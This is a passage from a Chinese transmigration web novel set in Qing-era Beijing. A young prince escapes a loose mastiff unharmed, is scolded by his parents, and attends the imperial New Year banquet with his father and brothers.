八爷自然不知道眼前这个突然面露愤愤之色后又变得惋惜的侄子在想些什么,他今日来这茶楼是为了见一位大臣。碰见弘时算是一个意外,不过既然碰见了他也不介意拿出一炷香的时间来在这位侄子这里刷刷存在感。 今日的礼仪课终于结束了,弘昼调整了一下自己已经要笑僵硬的脸。觉得自己浑身上下都是酸疼的,刚才跟着兆佳嬷嬷学了这么久的礼仪,一直在行礼。真不知道折腾出这么多礼仪来做什么,还有行礼的姿势为什么都固定要角度了,这样真的很难受。 兆佳嬷嬷走后,弘历也瘫在了椅子上。跟着兆佳嬷嬷学礼仪是真的很累,嬷嬷虽说一直是笑着的,但只要姿势有一丁点的不标准就会要求重新来。这一个时辰的学习,比听三四天先生的讲课还要累些。 休息了两刻钟,弘昼从椅子上站了起来,看了看外面离天黑应该还有一段时日,想要趁着现在还算有空去瞧瞧额日乐。毕竟马上就要忙起来了,过年一忙,接下来十几日甚至一个月都没什么时间去见额日乐了。 若是因为这段时间没空去见,让本来已经开始有些熟悉的额日乐开始生疏了。那弘昼简直要眼泪狂奔了,毕竟为了和额日乐套近乎可是花了不少时间的。 “四哥,我想去瞧瞧额日乐,你去吗?” 弘历听见这话,瘫着的身形挣扎了片刻,但马上就在下一瞬放弃了。 “我就不去了,你自己去吧,记得别待太久。”弘历有气无力道,方才他有些不在状态,被罚着重复行礼多回,现在是真有些不想动。 伸了个懒腰,弘昼便往外走边说道:“那你好好休息,我不会耽误回来用晚膳的。” 刚从自己的院子出来,弘昼就看到了从外面回来的三哥。一见到这人,弘昼就想翻白眼了,每次遇见三哥总是没什么好事。 “哟,这不是咱们聪慧过人的五弟吗?”弘时见到弘昼不阴不阳地说道,“怎么遇见兄长还想跑?平日里阿玛不是夸奖五弟最是兄友弟恭不过了,怎么遇到兄长不行礼也就罢了,还不打声招呼?” 弘昼停下脚步,在心里狂呼了好几声晦气,才挂上了假笑:“见过三哥,方才太累了竟没注意到三哥也在。” “五弟最近颇受阿玛看重,哪里还看得见我这个三哥。”弘时的语气带了点阴阳怪气。 但弘昼并不准备接这个茬,他宛若听不懂一般,抬起头来笑得灿烂:“三哥这时候回来想来是要回去温书的,没什么事我就走了。” 这话一落,弘昼便宛如将耳朵上了一把锁一般,将弘时的所有声音都锁在了外面。这样程度的冷嘲热讽除了听起来有点烦之外,对他造不成一点影响。 弘时冷着脸看着弘昼离去的背影,见他去的方向是养着那群畜生的地方,心中微微一动。对着跟在旁边的夕莱和祥桂吩咐了两句,脸上重新挂上了笑心情颇好地往自己院子走去。 来到了养着额日乐的院子,弘昼心情很好地跟着它套了好一阵子近乎。 “接下来我可能会比较忙,到时候没时间过来瞧你,你可别我把忘了。”弘昼摸了摸额日乐的头,见它似乎没有反应,轻轻扯了一下它的尾羽。 额日乐似乎有些*不满,回头轻轻啄了弘昼的手一口。并未太过用力,但弘昼还是觉得手仿佛被针扎了一下疼,连忙收回了自己的手讪讪说道:“不碰就不碰,怎么还是对你尾巴上这几根羽毛宝贝的紧。” 郑嬷嬷连忙拉着弘昼的手瞧了一眼,见自家阿哥的手只是红了并未破皮才松了口气,无奈道:“明知道额日乐不喜别人动它的尾羽,您又何苦去招它呢。” 弘昼收回了自己的手嘿嘿一笑,其实他有时候还是挺喜欢看到额日乐发点小火的。不过听着郑嬷嬷一直唠叨,便说自己有道菜想晚膳的时候用,打发了她回去点菜。 又给额日乐喂了几块肉后,弘昼抬头望了望天。见天边已经被夕阳染成了一片红霞,估摸着差不多快要到用晚膳的时辰了,方才和四哥说的自己要在用膳之前赶回去的,便蹲在额日乐面前嘱咐了好几句后才依依不舍地预备着离开。 走的时候心里还是惦记着额日乐,担心等自己这段时间忙完了它便将自己完全忘了。从前听说过鱼只有七秒钟的记忆,虽然不知道鸟的记性好不好,但额日乐的脑袋那么小,想来也装不下太多的东西。 从养着额日乐的院子离开刚绕过两条回廊,弘昼就被迎面而来的藏獒吓了一大跳。 这只藏獒似乎是从另一边跑过来的,身形几乎和弘昼一般高了,浑身大部分都是黑色,唯有在脸上和腹部还有四肢带了些黄白色。此刻看起来很凶,似乎是被谁激怒了一般,疯狂地嚎叫着,声音传得震天响。一边叫着,一边疯狂地跳动着。 弘昼看着这样一个在自己眼中算得上是庞然大物的藏獒在面前发怒,只觉得小心脏都抖了一下。平日里藏獒都是被好好拴着的,怎么今天跑出来了。还有,负责驯养这只藏獒的人呢? 突然间,藏獒的鼻子嗅了嗅,似乎闻到了什么东西一般,随即朝着弘昼冲刺了过来。 被藏獒的眼睛盯着,弘昼的双腿一软,但他明白若是自己长大之后碰见藏獒或许问题不大,最多就是在床上躺一阵子。但是现在的自己,碰见藏獒,还是明显正被怒火冲昏了脑袋的藏獒,一个不小心说不定就要投胎了。 这样想着,弘昼立刻便有了力气,转了个方向拔腿就开始跑。但两只腿的小孩子怎么可能跑得过四只腿的藏獒呢,没多久弘昼就感觉到自己身后传来了藏獒沉重的呼吸声。 完了,不会要重新投胎了吧。【你现在阅读的是魔蝎小说 moxiexs】 40-50 第41章 请安 第41章 着急之下,弘昼跑步时没注意脚下,竟然来了一个平地摔。眼看着藏獒离自己越来越近,弘昼绝望地闭上了眼睛,已经想好下辈子投胎后要多注意点了。 但令弘昼惊奇的是,藏獒到近前来后并未如他想象中那般直接张开大口将他撕下一块肉来。而是围着他不停地嗅闻,似乎在确定着什么。 察觉到藏獒并没有要攻击自己的意思,弘昼的才略微放松了下来。坐在地上看着藏獒只觉得更加有压迫感了,于是乎便想要站起来。 双手拍了拍,将自己上手碰到的灰尘和泥土拍掉后弘昼就站了起来。他站起来和藏獒一般高,但好歹不用被俯视了,也有了些安全感。 但谁知刚站起来,藏獒就撞了过来, 弘昼啪叽一下又摔在了地上,迷茫地看着藏獒。这似乎并没有开始攻击自己,但是又把自己撞回来是怎么回事? “哇呜汪汪汪汪汪……”藏獒开始了嚎叫,不停地叫着,弘昼只觉得自己的耳朵都要被叫聋了。 见藏獒似乎现在正急着叫唤,弘昼又尝试着站起来。总在地上坐着也不是个事,这养藏獒的那个人去哪了,按理来说这人应当一天都陪在藏獒身边的才是。 这才刚站起来,藏獒又冲了过来。将弘昼撞倒后还朝着它摇了摇自己的尾巴,然后在弘昼的身边疯狂开始绕圈,不时还发出几声叫唤。 绕着弘昼转了几圈后,藏獒似乎发现了弘昼没有搭理它。来到了弘昼的近前,朝着他的脸张开了血盆大口……舔了弘昼两口。 察觉到自己脸上的湿润,弘昼迷茫地眨了眨眼。他现在实在想不出藏獒什么要舔自己,但好歹不是咬一口,这也算万幸了。 见弘昼依旧不搭理它,藏獒嗷呜了两声在弘昼旁边继续开始转圈。 现在弘昼已经彻底冷静下来了,抹了额头上的冷汗。虽说藏獒是有名的极具攻击性的大型犬,但这只藏獒好像对他并没有什么恶意,而且不知道是不是自己的错觉,总觉得这只狗对自己还挺友善的。 这样想着,弘昼大着胆子伸出了手,颤颤巍巍地在藏獒的视线中将手递过去给它嗅闻。 从前听养狗的朋友讲过,要亲近一只狗先要让狗狗熟悉你的味道。将自己的手递给狗嗅闻,只要它没有表露出攻击的意思,就代表这只狗有很大的可能性在你摸它的时候也不会展露攻击性。 见藏獒不停地嗅闻着自己的手,并没有更进一步的动作。弘昼又松了口气,试探性地将手放到了藏獒的头上,摸了一把。 见藏獒竟一点也不生气,尾巴竟然还不自觉地摆动了几下,弘昼这才彻底放心了。这样都没有表露出攻击性来,看来这只狗对自己是没有恶意的。 藏獒被打理得很好,浑身的毛发泛着光泽。黑色的毛发在夕阳的映衬之下似乎发着淡金色的光,在摸的时候手感很好,凑近了闻也闻不到一般狗狗的臭味,而是一股淡淡的青草的味道。 刚才被藏獒连撞两下,弘昼也多是明白了估摸着是这只藏獒不想自己站起来。那不站起来就是了,弘昼盘着自己的腿开始了撸狗,看着藏獒时不时摆动两下的尾巴,他心中的惧怕已经远去,开始思考自己应当如何脱身。 现在这个点已经是用晚膳的时候了,也不知道养狗的人是不是去吃晚饭了。或许是离去的时候没将院子关好,才让这家伙跑了出来。刚刚从额日乐的院子出来的时候,养着额日乐的那人还没走,也不知道会不会走自己走的这条道。 不过应当没多久就会有人寻过来吧,自己用膳的时候没回去,郑嬷嬷肯定是要过来找的。也不知道什么时候能找到这里来,但愿藏獒不会在这时候饿了。 藏獒似乎是被弘昼摸舒服了,叫了两声之后便坐了下来,随即趴在了弘昼的边上。 这样大的狗狗,趴下来也是很大一坨的。弘昼觉得现在的自己可能得两三个才能有这只藏獒重。光是看着这只藏獒的毛发就知道被养得很好,看来平日里自家阿玛应该也是挺喜欢这只的。 摸了一会儿手有些酸了,弘昼便停下了摸藏獒的手,尝试着再次想要站起来。但刚准备站起来就察觉到藏獒开始盯着自己,弘昼立刻将自己原本已经尝试站起来的腿摆回了原本的位置,摆出了一个乖巧的姿势。 算了,还是等嬷嬷来找自己吧。 “崇光——崇光——” 钱武简直要吓死了,自己不过才离开了一会儿,怎么那只小祖宗就不见了。藏獒并非一般的狗,若是放出去伤了人,他简直不敢想自己的下场。 可怕的是伤人了随后被主子们处置,而在他心中最最可怕的是若是有闲着的主子在这附近被这只獒犬伤到了。到时候不论是他的命还是崇光的命,恐怕都要交代在这里了。 跑着找了一会儿,钱武咬了咬牙准备找总管报知此事。方才围着院子喊了一圈都没看见崇光,只怕是跑远的,现在告诉总管命人找到的话还成,若是伤了人报到总管那里去,自己只怕是要没了。 这样想着,钱武的步伐加快了些,想要快些找到总管告知此事。但刚过了两个回廊,就看到了熟悉的黑色毛发,一时间钱武几乎要喜得哭出来,崇光在这里卧着,似乎也不曾伤人,那他只要将崇光带回去假装此事没发生过就行了。 刚才找狗的时候几乎将自己最惨的下场都脑补了一遍,现在钱武看见崇光喜悦直冲脑门,跑了过去。 “崇光,你怎么跑出来了,这么不……” 直到走近,钱武才看到黑色的崇光旁边还有一个男孩。这男孩看起来三四岁的模样,身上穿着蓝灰色的衣裳,这料子他虽然看不出是什么,但光看光泽和花纹也能知道价值不菲。 此时崇光正趴在这男孩边上,男孩也盘膝坐在地上,不知道在看什么。 若是从前钱武只能从年龄和衣裳大概猜出这位可能是四阿哥或者五阿哥,但自从五阿哥迷上了隔壁的海东青后,钱武也见过两回五阿哥了。一见到那张精致可爱的脸,瞬间就明白了这人的身份。 崇光!怎么会跑五阿哥身边来! 钱武心中大骇,看到五阿哥身上似乎没有血,走近了也没闻到血腥气后才略松了口气。但心中满是绝望,完了,这回肯定吓着五阿哥了。 但他手上还是不敢停,将自己带出来的狗绳拴到了崇光的身上,随后才带着狗往后走到了一个安全距离开始行礼。 “奴才给五阿哥请安。” 有人凑近的时候弘昼就发现了,看见他将狗带离自己后才将心放回了肚子里。拍了拍自己身上的土后,弘昼站了起来问道。 “免礼吧,你是照顾这只狗的人?” “小人就是照顾崇光的人,”钱武低着脑袋小心翼翼答道,“今日原本喂完崇光后便出去预备着它明日的东西,许是出院子的时候没将门关严实,这才叫它跑了出来,惊吓了五阿哥奴才该死。” 没有和这位小主子近距离接触过,钱武也不知道这位性子如何。但大部分人都不喜欢错了之后不承认的人,他心中想着自己现在就认罪,后面即便罚的时候也少打几板子吧。 被吓到是真的被吓到了,但弘昼现在看着乖乖坐在钱武脚边的崇光,它原也没有伤害自己。虽说是有些吓人,但若是报上去的话也不知道阿玛会处置崇光还是处置这个人。 正在弘昼思考之际,郑嬷嬷带着两个小丫鬟从另一边的回廊穿过来了,老远就瞧见了弘昼以及前面牵着狗的钱武。 这下子就由不得弘昼了,郑嬷嬷走近前来不过是问了一句,钱武便倒豆子一般全说了。让郑嬷嬷吓了一跳,将弘昼上上下下都检查了一遍,确定自家小主子连皮都没有破后才松了口气。 “你既被主子派在这里照顾獒犬,又岂能马虎?”郑嬷嬷很是不悦,“这样烈性的狗被放了出来,伤了人可如何是好?幸而今儿五阿哥运气好,没叫这畜生伤着,否则必要奏明了爷,叫你和这畜生一起赔了命。” 弘昼开口为崇光解释了两句:“虽说撞了我两回,但我瞧着崇光是想与我玩,并未伤我,也未龇牙。” “那这件事也要禀明了爷,”郑嬷嬷说道,“五阿哥喜欢过来找额日乐,日后难免还是要走这里,还是请爷下命将这只獒犬迁走了才好。” 将这件事报给四爷是郑嬷嬷坚持要做的,虽说这獒犬最后并未当真伤了自家小主子。但其中的危险是不言而喻的,倘若这次不报,那下回小主子过来瞧那只海东青的时候会不会又碰上这只獒犬? 而且在郑嬷嬷看来,这个养着獒犬的奴才实在有些不靠谱。想来到时候爷即便是不将獒犬迁走,也会换个靠谱些的人手过来。 既然郑嬷嬷坚持,那弘昼便也由她去了。不过就是在离别的时候瞧见崇光似乎在瞧自己,察觉到弘昼眼神的时候崇光竖起了自己的尾巴冲着他摇了摇让弘昼心中一软。 回到自己的院中后,用过了晚膳,弘昼本来已经预备着沐浴后睡觉了,谁知却听见外头传来了四爷的通报声。 前几日没有过来检查礼仪的学习进度,本来以为阿玛最近忙得没时间过来。但现在来了,看来还是很惦记这件事的。 这样想着,弘昼从自己的屋子出来和四哥一起对着四爷行礼问安。 “起来吧,”四爷叫起后便上下打量着弘昼,见他确实身上看着不像是受伤的样子才松了口气,将他唤到身前来敲了一下脑袋语气带了点怒意,“谁教的你出门只带一个嬷嬷,还半路将嬷嬷打发走?” 郑嬷嬷要向四爷诉这件事,便早早打发了人过去四爷的院中告知总管,如今四爷一回来总管便报了这件事。四爷听得有些心有余悸,崇光是他去岁去木兰秋狝时带回来的,那时候还是小狗崽便能追着兔子咬了。 自己儿子现在比兔子强壮不到哪去,若是崇光当真冲上去咬他,即便不出人命也要受重伤。这样想着,他心中的火气愈大,对着弘昼的脑袋又敲了两下。 弘昼捂着自己的脑袋,语气哀怨:“阿玛,我这是在自己府中,谁知道会遇见这样一回事,况且崇光这不是没有伤我吗?” “崇光和你亲近这是前所未料及的,但若是崇光不同你亲近,你这身子够它咬两口吗?”四爷更怒,“你们两个平日里出院子至少要带上两三个人,不论什么事身边都不能离了人,知道了吗?” 这件事按照那边报上来的是意外,但四爷总觉得有些不对。养着崇光的钱武是个很仔细的人,多年来也并未出过什么错,怎么会这么巧在弘昼去看额日乐的时候出差错了。 虽已经派了人去查,但四爷还是得叫这两个小的自己也注意些。这王府极大,有些地方相对而言人烟稀少些,若是去了那样的地方身边还不带着人出了意外可就晚了。 “知道了。”弘历应了一声,随即便迷茫地问道,“这是怎么了阿玛?” 方才阿玛过来就揍弟弟,但他又不知道弟弟犯了什么事,便只能在一旁迷茫地看着。 四爷冷哼一声,苏培盛便将方才总管禀报的事情复述了一遍,着重强调了那只獒犬的体形硕大,并且略微夸大了些獒犬的攻击性。 弘历听着苏培盛说的一口便能将胳膊咬掉,下意识抖了抖随后看了看自己的胳膊,似乎在确认自己的胳膊还在自己身上。 随即便看向了弘昼的胳膊,见弘昼胳膊也好好地在他身上后才不高兴道:“阿玛说得对,出院子就该带着人的。” 见一院子的人似乎都在不悦地盯着自己,弘昼只能垂头丧气地承认自己的错误了,但他还是大着胆子问了问阿玛这只獒犬会有什么下场。 “你既时常往那边去,便将崇光迁到庄子上养着便是了。”四爷瞥了他一眼道,“下次若还是这般鲁莽,便要罚你了。” “知道了,我下次一定小心。” 弘昼低着头承认错误,低眉敛眼的样子让四爷也消了气,好歹不是知错不改。 既然来了,四爷在训斥过弘昼之后还是检查了一下他们这些日子学习的进度。见他们的宫廷礼仪已经学得七七八八,才勉强点头嘱咐了一句。 “到时候进宫你们便跟着我,若我没有吩咐不可随意说话走动。” “跟着阿玛?”弘昼好奇道,“上回不是让我们跟着嫡额娘吗?” “你还记得上回?”四爷有些讶异,两年前弘昼话都说不清楚,却不曾还记得。 弘历应了一句:“我们都记得呀,不过只记得阿玛让我们跟着嫡额娘,还有玛姆的宫中有一个很吵的人。” 能在宫里吵闹的人,四爷一想便知道肯定是自己好弟弟的十四的小儿子弘暟。偶尔他进宫请安的时候能在额娘的宫殿中看到这个侄子,额娘经常宣他进宫,却不曾提过自己这两个孩子半句。 这样想着,四爷心情沉郁了些,但他并未表现出来,而是叮嘱了弘昼弘历几句后便走了 虽说孩子的事情已经过去好几个月了,但清凝一直走不出来,每回见到都仿佛又瘦了。他进了腊月后空闲时间不多,今儿回来得早了些,便想着去瞧瞧也好放心。 弘昼遇狗这件事很快地就被额娘知道了,毕竟郑嬷嬷既然将这件事告诉了四爷,自然也不可能瞒住耿格格了。 回去请安的时候,被额娘拉着上上下下打量的弘昼主动在额娘面前转了一个圈笑道:“额娘放心吧,身上一点事没有,连破皮都不曾有。” “你让我如何能放心?”耿执羽瞪了他一眼,“我看你真是白长了一岁,成日里还是喜欢去和那些飞禽走兽玩,玩便罢了,若是下回再让我知晓你出门不带足了人,回来必揍你。” 这话弘昼笑嘻嘻应了,额娘的揍也不过是打两下屁股,疼不到哪里去。 似是看出了弘昼心中的想法,耿执羽冷笑了一声,拍了拍手。伏云从外头端着个托盘进来了,这托盘被一块红布盖着。托盘里的东西撑出了一个轮廓,但看着低低矮矮的,弘昼好奇地看了一眼。 耿执羽将托盘上的红布一掀,只见上面赫然放着一根已经被削好的藤条。 弘昼瞪大了眼睛,看向了自家额娘。 “若是你下次再不注意,”耿执羽将藤条拿在了手中,轻轻打了两下自己的左手,恐吓道,“额娘便用这藤条在你身上抽,到时候你身上便会起一道道的红印子,要十来天才会消下去,而且会一直疼!” 这藤条是耿执羽在听说这件事之后连夜赶制的,她幼时虽说不大听话,但也没有到掀翻屋顶那种闹腾程度。但她弟弟可就要闹腾多了,还记得有回弟弟玩火险些将家中烧了,额娘和阿玛一人一根藤条,将弟弟教训了一夜后弟弟便再也不敢玩火了。 见识到过藤条威力的耿执羽选择用这样一件东西来震慑弘昼,这小家伙从来天不怕地不怕,下回再做出这样的事情当真抽上两鞭子自己也不会心疼。 看到那藤条,即便没有抽到自己身上,弘昼也感觉到了额娘的决心。忙不迭地点了点脑袋,表示自己以后一定会注意的。 见将弘昼唬住了,耿执羽心下满意。又拉着弘昼嘘寒问暖了几句,问问他在前院可有谁怠慢过他,还有功课难不难之类的。最后又嘱咐了几句跟着进宫记得要守规矩之类的话,便到了弘昼要回前院的时辰了。 搬到前院后没有特殊情况是不能回额娘这里住的,弘昼看见额娘淡定地冲着自己告别,和几月前自己一到要走的时间额娘就面露不舍完全不一样了。 那时候自己要走了,额娘甚至是眼含泪水的。现在额娘终于习惯了,弘昼倒是一直很习惯,毕竟前世上寄宿学校和这种情况也差不了多少。 又过了几日,府中逐渐开始摆上了红色的装饰,到处都能看见象征着吉祥如意的剪纸贴在各处。终于,除夕悄然来到,弘昼和弘历早就被各自的嬷嬷穿戴好等着阿玛和嫡额娘唤人来叫了。 到了坐车的地方,弘昼抬眼一看。进宫的女眷本应当是福晋和两位侧福晋,但现在现场只有福晋和李侧福晋,却不曾见年侧福晋。 “给阿玛嫡额娘请安。”弘昼和弘历走近前来便行礼。 福晋脸上带着笑,甚至亲手将弘历和弘昼扶了起来:“瞧着比上回要长高些了,这孩子真是一晃眼就长大了。今日进宫一定要跟紧你们阿玛,宫里不比咱们府上,可不要随意走动。” 从前福晋从不对弘时做这样的面子功夫,李氏的孩子,她看都懒得看一眼。但这两个孩子不同,他们的额娘只是格格,平日里对她一直很是恭敬的,所以她也愿意在四爷的面前表现一下自己这个嫡母的慈爱。 见两个孩子乖乖应下了,福晋脸上笑意更甚,又关心嘱咐了几句才上车。 弘昼和弘历照例是和弘时一辆车的,弘时的脸色微微有些苍白。比上回见到的时候似乎要瘦了些,见到他们竟然没有嘲讽出声,这很难得。 随着车夫的一声叫喊,马车动了起来。即便是在内城相对平坦的道路上,马车依旧无比摇晃,这要是晕车的人在上面待着必然会无比的难受。 到了紫禁城后,弘昼跟着两位哥哥下了马车。今夜进宫参加宫宴的不在少数,所有的王子皇孙都要在午门前下车,除却皇上外没有任何人能乘车进紫禁城。 进了太和门后四爷便要和福晋分道扬镳了,毕竟福晋要带着李侧福晋去永和宫陪着德妃,而四爷则要带着三个孩子去太和殿。 弘昼好奇地看着周围的一切,如今太阳已经落山了,天空开始逐渐变暗。宫里头到处都点着灯,零零点点的火光映衬着周围的建筑装饰都变成了暖暖的黄色,这样的暖色让原本庄严十足的太和殿外侧多了几分柔和。 跟着四爷的背影往前走,弘昼已经想不起几年前自己坐在什么位置了,只记得似乎是比较靠前的。 “哟,四哥,”身后传来了懒洋洋的声音,“弟弟方才从额娘那里过来,四哥怎么过年都不去给额娘请安。” 第42章 宫宴 第42章 听到这传来的声音,四爷的眼中飞快掠过了一抹厌恶,随即便收敛了去。只转过头去,淡淡道:“如今年关将近,各部事务繁忙,难为十四弟还能抽出时辰来在除夕去给额娘请安。” 这要论去永和宫的次数,四爷自然是比不上十四爷的。他每月遵循着惯例,一般是初一十五会去永和宫请安,而十四爷则经常前去。若是有一阵子十四爷去的次数少了些,德妃便会命人传话将他唤进去。 而四爷选的这两个日子,十有八。九十四爷都是在永和宫的。他过去看着额娘和十四一副母子情深的模样,最初几回只是觉得羡慕,后来便实在是觉得有些恶心了。若非原定下来的这两日,其余时间他是不愿踏入永和宫的。 但他能跑得掉福晋却不能,儿媳给婆母请安是天经地义的事情。福晋如今每月要进宫三五回,虽说每回来德妃都不算太热情,但好歹也不怎么给她难堪了。 十四爷从后头走上来了,他容貌俊秀,五官中带了一抹飞扬跋扈的气质。如今似笑非笑地看着四爷,眼神里充斥着挑衅,但说话时的语调却不见丝毫锋芒。 身后跟着四个男孩,最大的瞧着有十二三岁了,最小的也有八。九岁。而那位最小的赫然就是从前弘昼和弘历在永和宫时见到的那位弘暟,不过他们现在几乎都已经将这位堂兄忘得差不多了。 “我是个闲人,自然比不得四哥得汗阿玛的看重,”胤祯面上带着笑,语调也很温和,但说出来的话却远没有他表现出来的那般温和,“但好在额娘愿意让我常伴左右,好歹也尽一尽孝心罢了。” 这话听得四爷眼皮一跳,额娘愿意他常伴左右,而不愿意的那位不用提也知道是在说谁了。 “那正好,”四爷也并非省油的灯,他立刻假笑道,“正好我最近事务实在繁忙,抽不出时间去给额娘请安,既然十四弟得闲便多去瞧瞧。记得在额娘面前给我告罪,也好叫额娘不怪我。” 德妃虽说偏心小儿子,但也不是完全不把四爷这个大儿子当人。她在外虽然多夸十四爷,但也未曾听过贬斥过四爷。 十四爷原本的笑意一僵,最近八哥不得势,让他们这些跟着他的弟弟也不得势。他前来找四哥不痛快,也是因着看四哥越发得汗阿玛看重,心中有些不愉。 但转念想起八哥前些日子同他说的话,他心中的不愉逐渐消去。眼看着汗阿玛越发看不得八哥了,在他们当中八哥越发不适合当台面上的那个人。到时等他上去了,汗阿玛不再看重这位眼高于顶的四哥时,也不知四哥会是什么心情。 这样想着,十四爷的脸上不由浮现出了一抹怜悯的笑:“额娘自然是会体谅四哥的,毕竟咱们额娘平日里就是最心软不过的。不过咱们身为人子,还是当将孝之一字摆在最前头,四哥说是吗?” 这话四爷不好反驳,只能捏着鼻子忍了。随即便带着弘昼兄弟几个进了殿,他是当真不想在太和殿门口和这位十四弟说话了,被旁人瞧见了也只会看笑话。 走进太和殿后,弘昼看着眼前亮如白昼的殿内。到处都已经点了烛火,即便现在已经是冬日,但一进殿还是能感觉到一股热气袭来。其中宫女太监在里面穿梭走动,手上端着杯盘碟盏时不时放到该放的位置上。 跟着阿玛往前走着,来到了他们应当坐的地方。四爷坐在最前面,而他们三个则在后面的小几上分开坐着,弘昼看了看自己旁边的四哥,这还是他 第一回这么正经地参加宫宴。上回不算,上回是半路被抱过来的。 坐在这里后弘昼就开始期待着上菜了,上次来这里的时候自己还不能随意吃东西。平日里吃的都是些少盐少油的饭菜,看见阿玛桌案上的那一盘酱汁浓厚的猪肘子就忍不住了,那口猪肘子在他回去后还是怀念了许久的。 在皇上没来之前桌子上只摆着几碟子点心水果,其余的东西要等皇上来了之后才会上。毕竟现在已经是冬日里,虽说殿内相对暖和些,但热菜上上来还是很容易凉。这大殿中皆是身份高贵的王公贵族,若是上了些冷菜将人吃病了,御膳房的人可担不起这个责任。 好几个大臣打扮的人过来和四爷说话,还敬了几杯酒。弘昼看着大殿内推杯换盏的众人,撑着下巴观察着一切。 还有几个和弘时相熟的人过来和他打了声招呼,弘时在和这些堂兄说话的时候傲然地抬起下巴斜睨了弘历和弘昼一眼,似乎是不屑又似乎是在炫耀。但弘昼对这丁点都不在意,这不就是有几个熟人在吗? 下一刻,十三爷从殿门口缓缓走了进来,弘昌和弘暾跟在了他的身后。弘暾本来百无聊赖地走着,但似乎突然瞧见了弘昼和弘历,眼神一下子就亮了。 这几月间他经常哀求阿玛带着他去四伯的府上找这两个堂弟玩,虽说阿玛答应的次数不多,但到底还是答应了好几回。这让他和弘历还有弘昼都混熟了,此时在这谁都不认识的殿内看到两个熟人,自然兴奋了不少。 但他今日出门前被额娘还有阿玛接连嘱咐了好几遍,今日跟着阿玛前去不可任性,一定要跟在阿玛身边。这样想着,他原本想要往弘昼这边跑的动作一顿,满脸可惜地跟着阿玛去了他们的位置。 弘昌只是冷冷地扫了这边一眼,他不大喜欢弘时,这个太过高傲的堂兄每次见到他都有一种说不出的高高在上之感。这种感觉让他不大乐意和弘时打交道,在这样的场合只要没碰到跟前来他是绝不会主动去凑到那去的。 四爷和隆科多寒暄的话语一顿,他明显也看到了十三弟进来。但现在隆科多在前他也不能撇下隆科多去看十三弟,只能远远地示意了一下。 看着殿内觥筹交错,弘昼环视了一圈觉得自己也有些饿了。虽说桌面上没有什么菜,但还是摆着两碟子点心的,便拿起一块往嘴中塞去。 宫中内饽饽房做出来的点心味道极好,一口咬下去满嘴油香,其中夹杂着点点咸味。吃了两块点心后,又喝了一口茶,弘昼才觉得自己没有那么饿了,摸了摸肚子开始发呆。 这宫宴对于大人来说是交际场所,彼此之间推杯换盏不亦乐乎。但对他这样的小孩子可就有些无聊了,特别是阿玛还嘱咐了自己不能乱走动,那就只剩下和四哥聊天还有发呆这两个选项了。 这样想着,弘昼微微撇过头看了四哥一眼。 外面的天已经全黑了,今天的天气不算好,并没有月亮高悬,也就更看不到什么月光了。但外头一片的灯火通明,暖黄色的光将太和殿外照应得也暖暖的。 弘历此时正在盯着外面发呆,若是仔细看也能看出他似乎是有些犯困了。眼睛无神地盯着外面,眼皮微微耷拉下来。 但这可不行,宫宴还未开始呢,离结束就更还有些时辰了。 “四哥,”弘昼往弘历那边凑了凑,拉了拉他的衣袖问道,“你困了吗?” 弘历被拉得一激灵,猛然扭过头来看着弘昼,脑子似乎开始重启一般半晌才点了点头:“昨儿没睡好。” 说话间,便忍不住打了个哈欠。 此时若是在永和宫,即便德妃对于老四的孩子不算多关心,但瞧见了也会命宫女带着他们去后头屋子里睡一会儿。但无奈这里是太和殿,困了也只能忍一下了。 “那我们说说话吧。”弘昼小声说道,“这样也能岔一岔瞌睡,说不定聊一会儿就不想睡觉了呢。” 刚刚四哥的样子,让弘昼想起了从前高中的时候。那时候课业压力大,很多同学睡不饱,便会在课上犯困。那样直直地盯着前方,双眼无神的模样实在是太熟悉了。 弘历点了点头,开始和弘昼有一搭没一搭地聊天了。 但没过多久,殿内的人都开始有意识地回到了自己的席位。过来跟着四爷攀谈的隆科多也不见了,四爷肃正了面色。 不多时,外面传来了太监的通报。一声接着一声传来的,由远及近,一道道声音混杂在一起,给人一种难以言喻的压迫感。 “皇上驾到——” 此时所有人从位置上站了起来,齐刷刷地行礼。 这里弘昼被兆佳嬷嬷教过,知道现在要跟着阿玛他们一样行礼。然后听到皇上命人叫起之后,才能起来。 殿内陷入了安静,只能听见有脚步声传来。那脚步声一步步越来越近,而后又开始逐渐变远,直到消失*在弘昼的耳边。 “平身。”康熙坐到了他的位置上,对着身旁的梁九功吩咐了一声。 梁九功通报了一声,便又有小太监将这话传远了去。殿内的人听到后才纷纷起身,弘昼起身后朝着最上首偷瞄了一下。 看不清楚,只能看见一件明黄色的衣裳。这个距离看最上面的位置,最多能分辨这上面是个老者,因为头发有些花白,还有就是最明显的衣裳的颜色,其余的是一点也看不见了。 康熙来了之后,殿内不断穿梭的宫女太监就更多了。几乎不到一刻钟,这太和殿内所有桌案的饭菜都上齐了,弘昼看着训练有素的宫女太监们在心中感叹了一句。 这要是在现在,这些宫女太监绝对比河里捞的服务还要出名。 第43章 过年 第43章 饭菜上来了,弘昼看着面前这一桌子色香味俱全的菜色只觉得胃口大开。刚刚吃的那两块小点心最多也就能成为垫垫肚子,现在正好还有不少空间可以给这些饭菜留空。 弘历明显也饿了,环视了一圈见已经有人开始动筷后便也拿起了筷子,御膳房的手艺很好。 太监们都是年幼时进宫便被分到了不同的地方。像专门伺候主子们到宫殿中去的还有可能这个主子倒台了,又被内务府分到下一个地方,但御膳房这样的地方不同,几乎被分过去就要在那里干到老了。是以这些小太监从小都是在老师傅的责打下学手艺的,自然不敢不尽心。 康熙在最上面,时不时地便会有受宠些的皇子上前敬酒。四爷也在宴会中旬端了一杯酒上前,说了些海晏河清五谷丰登之类的吉祥话。这些话在过年的日子说是最合适不过的,既不会出错,又能让皇上听着高兴。 毕竟海晏河清,百姓们安居乐业和最高位置上的统治者脱不开关系。说百姓们过得好,也是在称赞他的政令。 听到四爷嘴中的话,康熙面上笑意更甚:“这些日子你差事也办得好,户部的欠款已经追回来了不少,这都是你的本事。对了,你府中那两个小阿哥呢,今儿来了吗?” 最近四爷办了不少差事,康熙也愿意给他脸面,便提起了他府中的两个小孩子。毕竟四爷已经是亲王爵位,不能在这方面进行封赏了,而赏些金银珠宝之类的东西又太轻,倒不如给些恩宠。 “正在下头坐着呢,”四爷遥遥地指了指自己的席位,此时弘昼还有弘历正专心致志地用膳,时不时互相交流一下对宫中饭菜的评价。 康熙随着他的示意往那边看去,眼中不由泛出了一丝笑意。年纪越大,便越喜欢天真烂漫的小孩子了,毕竟这些长大了些的一个人三四个心眼,而小孩子只会顾着自己的喜好,每日里想的也都是些吃喝玩乐的事情。 